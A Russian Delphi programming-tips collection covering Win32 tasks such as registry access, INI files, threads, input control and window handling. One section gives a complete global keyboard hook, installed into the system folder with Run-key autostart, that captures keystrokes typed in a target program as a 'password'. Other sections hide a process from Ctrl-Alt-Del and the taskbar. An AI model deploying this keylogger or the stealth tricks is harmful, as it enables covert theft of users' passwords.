От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).

Включение и выключение устройств ввода/вывода из программы на Delphi 

Иногда может возникнуть необходимость в выключении на время устройств ввода — клавиатуры и мыши. Например, это неплохо сделать на время выполнения кода системы защиты от копирования, в играх, или в качестве "наказания" при запуске программы по истечению срока ее бесплатного использования… Однако наилучшее ее применение — отключение клавиатуры и мыши на время работы демонстрационки, основанной на воспроизведении записанных заранее перемещений мышки и клавиатурного ввода (см. об этом отдельный раздел этой книги). Это элементарно сделать при помощи API:

EnableHadwareInput(Enable:boolean): boolean;

Enable — требуемое состояние устройств ввода (True — включены, false — выключены). Если ввод заблокирован, то его можно разблокировать вручную — нажать Ctrl+Alt+Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.

Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); 

Переключение языка из программы 

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;

russian:=LoadKeyboardLayout('00000419', 0);

latin:=LoadKeyboardLayout('00000409', 0); 

-- -- -- -- -- где то в программе --- --- ---

SetActiveKeyboardLayout(russian);

Как отловить нажатия клавиш для всех процессов в системе? 

Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;

uses Windows, Dialogs;

var

 hinstDLL: HINST;

 hkprcKeyboard: TFNHookProc;

 msg: TMsg;

begin

 hinstDLL := LoadLibrary('HookAgnt.dll');

 hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

 SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

 repeat until not GetMessage(msg, 0, 0, 0);

end.

=== Cut === 

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports KeyboardProc;

var

 hFileMappingObject: THandle;

 fInit: Boolean;

procedure DLLMain(Reason: Integer);

begin

 if Reason = DLL_PROCESS_DETACH then begin

  UnmapViewOfFile(lpvMem);

  CloseHandle(hFileMappingObject);

 end;

end;

begin

 DLLProc := @DLLMain;

 hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file

  nil, // no security attributes

  PAGE_READWRITE, // read/write access

  0, // size: high 32 bits

  4096, // size: low 32 bits

  'HookAgentShareMem' // name of map object

 );

 if hFileMappingObject = INVALID_HANDLE_VALUE then begin

  ExitCode := 1;

  Exit;

 end;

 fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

 lpvMem := MapViewOfFile(

  hFileMappingObject, // object to map view of

  FILE_MAP_WRITE, // read/write access

  0, // high offset: map from

  0, // low offset: beginning

  0); // default: map entire file

 if lpvMem = nil then begin

  CloseHandle(hFileMappingObject);

  ExitCode := 1;

  Exit;

 end;

 if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

unit KeyboardHook;

interface

uses Windows;

const PASSWORDSIZE = 16;

var

 g_hhk: HHOOK;

 g_szKeyword: array[0..PASSWORDSIZE-1] of char;

 lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;

implementation

 uses SysUtils, Dialogs;

 function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;

 var

  szModuleFileName: array[0..MAX_PATH-1] of Char;

  szKeyName: array[0..16] of Char;

  lpszPassword: PChar;

 begin

  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin

   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

   lstrcat(g_szKeyword, szKeyName);

   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and

    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

    lstrcat(lpszPassword, szKeyName);

   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin

    ShowMessage(lpszPassword);

    g_szKeyword[0] := #0;

   end;

   Result := 0;

  end

  else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

 end;

end.

=== Cut ===

Информация о состоянии клавиатуры 

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.

О состоянии клавиатуры дают информацию следующие функции:

GetKeyState, GetAsyncKeyState, GetKeyboardState.

Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

function AltKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;

end;

function CtrlKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;

end;

function ShiftKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;

end;

А заодно и для клавиш переключателей:

function CapsLock : boolean;

begin

 result:=(GetKeyState(VK_CAPITAL) and 1)<>0;

end;

function InsertOn : boolean;

begin

 result:=(GetKeyState(VK_INSERT) and 1)<>0;

end;

function NumLock : boolean;

begin

 result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;

end;

function ScrollLock : boolean;

begin

 result:=(GetKeyState(VK_SCROLL) and 1)<>0;

end;

Управление питанием из программы на Delphi 

При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:

SetSystemPowerState(Suspended, Mode: Boolean):boolean;

Suspended должно быть TRUE для ухода в спячку.

Mode — режим входа в спячку. Если TRUE, то всем программам и драйверам посылается Message PBT_APMSUSPEND, по которому они должны немедленно прекратить работу. Если FALSE, то посылается Message PBT_APMQUERYSUSPEND запроса на спячку, и драйвера в ответ могут дать отказ на включение режима спячки.

Возврат функции SetSystemPowerState: TRUE — режим включен.

Пример получения списка запущенных приложений.

procedure TForm1.Button1Click(Sender: TObject);

VAR

 Wnd : hWnd;

 buff: ARRAY [0..127] OF Char;

begin

 ListBox1.Clear;

 Wnd := GetWindow(Handle, gw_HWndFirst);

 WHILE Wnd <> 0 DO BEGIN {Не показываем:}

  IF (Wnd <> Application.Handle) AND {-Собственное окно}

   IsWindowVisible(Wnd) AND {-Невидимые окна}

   (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочерние окна}

   (GetWindowText(Wnd, buff, sizeof(buff)) <> 0){-Окна без заголовков}

   THEN BEGIN

   GetWindowText(Wnd, buff, sizeof(buff));

   ListBox1.Items.Add(StrPas(buff));

  END;

  Wnd := GetWindow(Wnd, gw_hWndNext);

 END;

 ListBox1.ItemIndex := 0;

end;

Как отключить показ кнопки программы в TaskBar и по Alt-Tab и в Ctrl-Alt-Del 

Внеся изменения (выделенные цветом) в свой проект вы получите приложение, которое не видно в TaskBar и на него нельзя переключиться по Alt-Tab

program Project1;

uses

 Forms,

 Windows,

 Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var

 ExtendedStyle : integer;

begin

 Application.Initialize;

 ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);

 SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW});

 Application.CreateForm(TForm1, Form1);

 Application.Run;

end.

Если включить синий коментарий, то получите очень интересное приложение. Оно не видно в TaskBar и на него нельзя переключиться по Alt-Tab, но когда приложение минимизируется оно остается на рабочем столе в виде свернутого заголовка (прямо как в старом добром Windows 3.11)

Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал:

Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown — под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение — ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.

А вот как отрубить показ файла в Ctrl-Alt-Del

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

implementation

procedure TForm1.Button1Click(Sender: TObject);

begin //Hide

 if not (csDesigning in ComponentState) then

  RegisterServiceProcess(GetCurrentProcessID, 1);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin //Show

 if not (csDesigning in ComponentState) then

  RegisterServiceProcess(GetCurrentProcessID, 0);

end;

Добавление программы в автозапуск

sProgTitle: Название для программы

sCmdLine: Имя EXE файла с путем доступа

bRunOnce: Запустить только один раз или постоянно при загрузке Windows

procedure RunOnStartup(sProgTitle, sCmdLine : string; bRunOnce : boolean);

var

 sKey : string;

 reg : TRegIniFile;

begin

 if (bRunOnce)then sKey := 'Once'

 else sKey := '';

 reg := TRegIniFile.Create('');

 reg.RootKey := HKEY_LOCAL_MACHINE;

 reg.WriteString('Software\Microsoft'

  + '\Windows\CurrentVersion\Run'

  + sKey + #0,

  sProgTitle, sCmdLine);

 reg.Free;

end;

// Например

RunOnStartup('Title of my program','MyProg.exe',False );

Примечание. Этот пример удобно использовать при написании деинсталляторов — добавить однократный вызов деинсталлятора и запросить от пользователя перезагрузку. Этот прием позволит безболезненно удалять DLL и им подобные файлы, которые обычном способом удалить невозможно (они загружены в силу того, что использовались деинсталлируемой программой или работают в момент деинсталляции).

Удаляет файл в корзину

uses ShellAPI;

function DeleteFileWithUndo( sFileName : string ) : boolean;

var fos : TSHFileOpStruct;

begin

 sFileName:= sFileName+#0;

 FillChar( fos, SizeOf( fos ), 0 );

 with fos do begin

  wFunc := FO_DELETE;

  pFrom := PChar( sFileName );

  fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;

 end;

 Result := ( 0 = ShFileOperation( fos ) );

end;

Добавить ссылку на мой файл в меню Пуск|Документы 

uses ShellAPI, ShlOBJ;

procedure AddToStartDocumentsMenu( sFilePath : string );

begin

 SHAddToRecentDocs( SHARD_PATH, PChar( sFilePath ) );

end;

// Например

AddToStartDocumentsMenu( 'c:\windows\MyWork.txt' );

Устанавливаем свой WallPaper для Windows

program wallpapr;

uses Registry, WinProcs;

procedure SetWallpaper(sWallpaperBMPPath : String; bTile : boolean );

var

 reg : TRegIniFile;

begin

 // Изменяем ключи реестра

 // HKEY_CURRENT_USER

 // Control Panel\Desktop

 // TileWallpaper (REG_SZ)

 // Wallpaper (REG_SZ)

 reg := TRegIniFile.Create('Control Panel\Desktop' );

 with reg do begin

  WriteString( '', 'Wallpaper', sWallpaperBMPPath );

  if( bTile )then begin

   WriteString('', 'TileWallpaper', '1' );

  end else begin

   WriteString('', 'TileWallpaper', '0' );

  end;

 end;

 reg.Free;

 // Оповещаем всех о том, что мы

 // изменили системные настройки

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );

end;

begin

 // пример установки WallPaper по центру рабочего стола

 SetWallpaper('c:\winnt\winnt.bmp', False );

end.

Как запретить кнопку Close [x] в заголовке окна. 

procedure TForm1.FormCreate(Sender: TObject);

var Style: Longint;

begin

 Style := GetWindowLong(Handle, GWL_STYLE);

 SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU);

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if (Key = VK_F4) and (ssAlt in Shift) then begin

  MessageBeep(0); Key := 0;

 end;

end;

Каким образом можно изменить системное меню формы? 

Hе знаю как насчет акселераторов, надо поискать, а вот добавить Item — пожалуйста

type

 TMyForm=class(TForm)

 procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;

end;

const

 ID_ABOUT = WM_USER+1;

 ID_CALENDAR=WM_USER+2;

 ID_EDIT = WM_USER+3;

 ID_ANALIS = WM_USER+4;

implementation

procedure TMyForm.wmSysCommand;

begin

 case Message.wParam of

 ID_CALENDAR:DatBitBtnClick(Self) ;

 ID_EDIT :EditBitBtnClick(Self);

 ID_ANALIS:AnalisButtonClick(Self);

 end;

 inherited;

end;

procedure TMyForm.FormCreate(Sender: TObject);

var SysMenu:THandle;

begin

 SysMenu:=GetSystemMenu(Handle,False);

 InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');

end;

Запуск внешней программы и ожидание ее завершения 

procedure TForm1.Button1Click(Sender: TObject);

var

 si : Tstartupinfo;

 p : Tprocessinformation;

begin

 FillChar( Si, SizeOf( Si ) , 0 );

 with Si do begin

  cb := SizeOf( Si);

  dwFlags := startf_UseShowWindow;

  wShowWindow := 4;

 end;

 Application.Minimize;

 Createprocess(nil,'notepad.exe',nil,nil,false,

 Create_default_error_mode,nil,nil,si,p);

 Waitforsingleobject(p.hProcess,infinite);

 Application.Restore;

end;

Как узнать местоположение специальных папок у Windows? 

var

 FolderPath :string;

 Registry := TRegistry.Create;

try

 Registry.RootKey := HKey_Current_User;

 Registry.OpenKey('Software\Microsoft\Windows\'+

  'CurrentVersion\Explorer\Shell Folders', False);

 FolderName := Registry.ReadString('StartUp');

 {Cache, Cookies, Desktop, Favorites,

 Fonts, Personal, Programs, SendTo, Start Menu, Startp}

finally

 Registry.Free;

end;

Как засунуть в исполняемый файл wav-файл, и затем проиграть этот звук?

В файл MyWave.rc пишешь:

MyWave RCDATA LOADONCALL MyWave.wav

Затем компилируешь

brcc32.exe MyWave.rc

получаешь MyWave.res.

В своей программе пишешь:

{$R MyWave.res}

procedure RetrieveMyWave;

var

 hResource: THandle;

 pData: Pointer;

begin

 hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA));

 try

  pData := LockResource(hResource);

  if pData = nil then raise Exception.Create('Cannot read MyWave');

  // Здесь pData указывает на MyWave

  // Теперь можно, например, проиграть его (Win32):

  PlaySound('MyWave', 0, SND_MEMORY);

 finally

  FreeResource(hResource);

 end;

end;

Как скрыть таскбар?  

procedure TForm1.Button1Click(Sender: TObject);

var

 hTaskBar : THandle;

begin

 hTaskbar := FindWindow('Shell_TrayWnd', Nil);

 ShowWindow(hTaskBar, SW_HIDE);

end;

procedure TForm1.Button2Click(Sender: TObject);

var

 hTaskBar : THandle;

begin

 hTaskbar := FindWindow('Shell_TrayWnd', Nil);

 ShowWindow(hTaskBar, SW_SHOWNORMAL);

end;

События нажатия на системные кнопки формы (минимизация, закрытие...)

Хотелось бы чтобы при нажатии на кнопку minimize программа исчезала из таскбара.

При нажатии на эти кнопки происходит сообщение WM_SYSCOMMAND, его то и надо перехватить.

При этом:

uCmdType = wParam; // type of system command requested

xPos = LOWORD(lParam); // horizontal postion, in screen coordinates

yPos = HIWORD(lParam); // vertical postion, in screen coordinates

Пример:

Type TMain = class(TForm)

 ....

protected

 Procedure WMGetSysCommand(var Message :TMessage); message WM_SYSCOMMAND;

end;

.....

//------------------------------------------------------------------------

// Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)

//------------------------------------------------------------------------

Procedure TForm1.WMGetSysCommand(var Message : TMessage) ;

Begin

 IF (Message.wParam = SC_MINIMIZE) Then Form1.Visible:=False

 Else Inherited;

End;

Подключение и отключение сетевых дисководов 

Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:

1.Подключить сетевой ресурс

WNetAddConnection(NetResourse,Password, LocalName:PChar):longint;

где NetResourse — имя сетевого ресурса (например '\\P166\c')

Password — пароль на доступ к ресурсу (если нет пароля, то пустая строка)

LocalName — имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')

Пример подключения сетевого диска

WNetAddConnection('\\P166\C','','F:');

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :

NO_ERROR — Нет ошибок — успешное завершение

ERROR_ACCESS_DENIED — Ошибка доступа

ERROR_ALREADY_ASSIGNED — Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.

ERROR_BAD_DEV_TYPE — Неверный тип устройства.

ERROR_BAD_DEVICE — Неверное устройство указано в LocalName

ERROR_BAD_NET_NAME — Неверный сетевой путь или сетевое имя

ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)

ERROR_INVALID_PASSWORD — Неверный пароль

ERROR_NO_NETWORK — Нет сети

2.Отключить сетевой ресурс

WNetCancelConnection(LocalName:PChar; ForseMode:Boolean):Longint;

где

LocalName — имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')

ForseMode — режим отключения :

False — корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)

True — скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :

NO_ERROR — Нет ошибок — успешное завершение

ERROR_DEVICE_IN_USE — Ресурс используется

ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)

ERROR_NOT_CONNECTED — Указанное ус-во не является сетевым

ERROR_OPEN_FILES — На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false

Рекомендация: при отключении следует сначала попробовать отключить ус-во с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true

Внешние модули (DLL), нити

Надо подключить DLL и использовать некоторые ее функции.

Есть первый вариант:

procedure procname1(param1:type1; param2:type2... и т.д.) external 'dllname.dll' name 'procname_in_dllfile';

Но тут есть один нюанс: при отсутствии DLL модуля, либо при отсутствии в нем указанной процедуры будет выдаваться ошибка и запуск программы будет отменен.

Второй вариант: 

Type

 prc1 = procedure (param1:type1; param2:type2... и т.д.) ;

var

 proc1 : prc1;

 head : integer ; // или что-то в этом роде

 .....

var

 p : pointer;

begin

 head:= loadlibrary ('DLLFile.DLL'); // загружаем модуль в память

 if head=0 then begin

  // Сообщаем о том что модуль не найден

 end

 else begin

  // Ищем в модуле наши процедуры и функции

  p:=getprocaddress ('Имя_Искомой_Процедуры');

  // Тут посмотри точно название этой

  // функции в хелпе по LoadLibrary.

  // Имя_Искомой_Процедуры должно

  // быть один в один с именем процедуры

  // в библиотеке с учетом регистров.

  if p=nil then begin

   // Процедура не найдена

  end else proc1:=prc1(p);

end;

Как передать при создании нити (Tthread) ей некоторое значение? 

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как? 

Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.

В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.

Например:

......

TYourThread = class(TTHread)

private

 FFileName: String;

protected

 procedure Execute; overrided;

public

 constructor Create(CreateSuspennded: Boolean; const AFileName: String);

end;

.....

constructor TYourThread.Create(CreateSuspennded: Boolean; const AFileName: String);

begin

 inherited Create(CreateSuspennded);

 FFIleName := AFileName;

end;

procedure TYourThread.Execute;

begin

 try

  ....

  if FFileName = ...

  ....

 except

  ....

 end;

end;

....

TYourForm = class(TForm)

....

private

 YourThread: TYourThread;

 procedure LaunchYourThread(const AFileName: String);

 procedure YourTreadTerminate(Sender: TObject);

 ....

end;

....

procedure TYourForm.LaunchYourThread(const AFileName: String);

begin

 YourThread := TYourThread.Create(True, AFileName);

 YourThread.Onterminate := YourTreadTerminate;

 YourThread.Resume

end;

....

procedure TYourForm.YourTreadTerminate(Sender: TObject);

begin

 ....

end;

 ....

end.

СGI программа должна показывать GIF изображение.

Имею тег.  Прочитать JPeg, указать ContentType=Image/jpeg и выдать изображение в SaveToStream умею. Как сделать тоже самое для файлов GIF, в особенности анимационных? Если можно просто перелить дисковый файл (пусть он хоть трижды GIF) в Response CGI-програмы, то как это сделать? 

Выдайте из скрипта следующее: 

Content-type: image/gif  

<содержимое gif-файла>

Советы по работе с реестром. 

Использование некоторых ключей реестра

Добавление элементов в контекстное меню "Создать"

1. Создать новый документ, поместить его в папку Windows/ShellNew

2. В редакторе реестра найти расширение этого файла, добавить новый подключ, добавить туда строку: FileName в качестве значения которой указать имя созданного файла.

Путь к файлу который открывает не зарегистрированные файлы

1. Найти ключ HKEY_CLASSES_ROOT\Unknown\Shell

2. Добавить новый ключ Open

3. Под этим ключом еще ключ с именем command в котором изменить значение (По умолчанию) на имя запускаемого файла, к имени нужно добавить %1. (Windows заменит этот символ на имя запускаемого файла)

В проводнике контекстное меню "Открыть в новом окне"

1. Найти ключ HKEY_CLASSES_ROOT\Directory\Shell

2. Создать подключ: opennew в котором изменить значение (По умолчанию) на: "Открыть в новом окне"

3. Под этим ключом создать еще подключ command (По умолчанию) = explorer %1

Использование средней кнопки мыши Logitech в качестве двойного щелчка

Подключ HKEY_LOCAL_MACHINE\SoftWare\Logitech и там найти параметр DoubleClick заменить 000 на 001

Новые звуковые события

Например создает звуки на запуск и закрытие WinWord

HKEY_CURRENT_USER\AppEvents\Shemes\Apps добавить подключ WinWord и к нему подключи Open и Close.

Теперь в настройках звуков видны новые события

Путь в реестре для деинсталяции программ:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

Работа с реестром в Delphi 1

В Delphi 2 и выше появился объект TRegistry при помощи которого очень просто работать с реестром. Но мы здесь рассмотрим функции API, которые доступны и в Delphi 1.

Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы…). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.

Для работы с реестром применяется ряд функций API :

RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;

Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один — HKEY_CLASSES_ROOT, в в Delphi3 — все. SubKey — имя раздела — строится по принципу пути к файлу в DOS (пример subkey1\subkey2\…). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное — ошибка.

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;

Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат — код ошибки или ERROR_SUCCESS, если успешно.

RegCloseKey(Key: HKey): Longint;

Закрывает раздел, на который ссылается Key. Возврат — код ошибки или ERROR_SUCCESS, если успешно.

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;

Удалить подраздел Key\SubKey. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.

RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;

Получить имена всех подразделов раздела Key, где Key — Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer — указатель на буфер, cb — размер буфера, index — индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование — в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

Возвращает текстовую строку, связанную с ключом Key\SubKey. Value — буфер для строки; cb — размер, на входе — размер буфера, на выходе — длина возвращаемой строки. Возврат — код ошибки.

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;

Задать новое значение ключу Key\SubKey, ValType — тип задаваемой переменной, Value — буфер для переменной, cb — размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.

Примеры :

{  Создаем список всех подразделов указанного раздела }

procedure TForm1.Button1Click(Sender: TObject);

var

 MyKey : HKey; { Handle для работы с разделом }

 Buffer : array[0..1000] of char; { Буфер }

 Err, { Код ошибки }

 index : longint; { Индекс подраздела }

begin

Err:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }

if Err<> ERROR_SUCCESS then

  begin

    MessageDlg('Нет такого раздела !!',mtError,[mbOk],0);

    exit;

  end;

index:=0;

{Определили имя первого подраздела }

Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer));

while err=ERROR_SUCCESS do { Цикл, пока есть подразделы }

  begin

    memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }

    inc(index); { Увеличим номер подраздела }

    Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос }

  end;

RegCloseKey(MyKey); { Закрыли подраздел }

end;

Объект INIFILES - работа с INI файлами.

Почему иногда лучше использовать INI-файлы, а не реестр?

1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.

2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)

3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.

Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.

Constructor Create('d:\test.INI');

Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.

WriteBool(const Section, Ident: string; Value: Boolean);

Присвоить элементу с именем Ident раздела Section значение типа boolean

WriteInteger(const Section, Ident: string; Value: Longint);

Присвоить элементу с именем Ident раздела Section значение типа Longint

WriteString(const Section, Ident, Value: string);

Присвоить элементу с именем Ident раздела Section значение типа String

ReadSection (const Section: string; Strings: TStrings);

Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)

ReadSectionValues(const Section: string; Strings: TStrings);

Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :

имя_переменной = значение

EraseSection(const Section: string);

Удалить раздел Section со всем содержимым

ReadBool(const Section, Ident: string; Default: Boolean): Boolean;

Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadInteger(const Section, Ident: string; Default: Longint): Longint;

Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadString(const Section, Ident, Default: string): string;

Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

Free;

Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом

Property Values[const Name: string]: string;

Доступ к существующему параметру по имени Name

Пример :

Procedure TForm1.FormClose(Sender: TObject);

var

IniFile:TIniFile;

begin

  IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }

  IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }

  IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }

  IniFile.WriteString('Options' , 'Secret password', Pass);

   { Секция Options: в Secret password записать значение переменной Pass }

  IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}

  IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }

  IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }

end;

Советы по работе с графикой

Работа с палитрой

Как работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:

procedure TMain.BitBtnClick(Sender: TObject);

var

 Palette : HPalette;

 PaletteSize : Integer;

 LogSize: Integer;

 LogPalette: PLogPalette;

 Red : Byte;

begin

 Palette := Image.Picture.Bitmap.ReleasePalette;

 // здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не

 // знаю, удаляются ли ненужные палитры автоматически

 if Palette=0 then exit; //Палитра отсутствует

 PaletteSize := 0;

 if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit;

 // Количество элементов в палитре = paletteSize

 if PaletteSize = 0 then Exit; // палитра пустая

 // определение размера палитры

 LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);

 GetMem(LogPalette, LogSize);

 try

  // заполнение полей логической палитры

  with LogPalette^ do begin
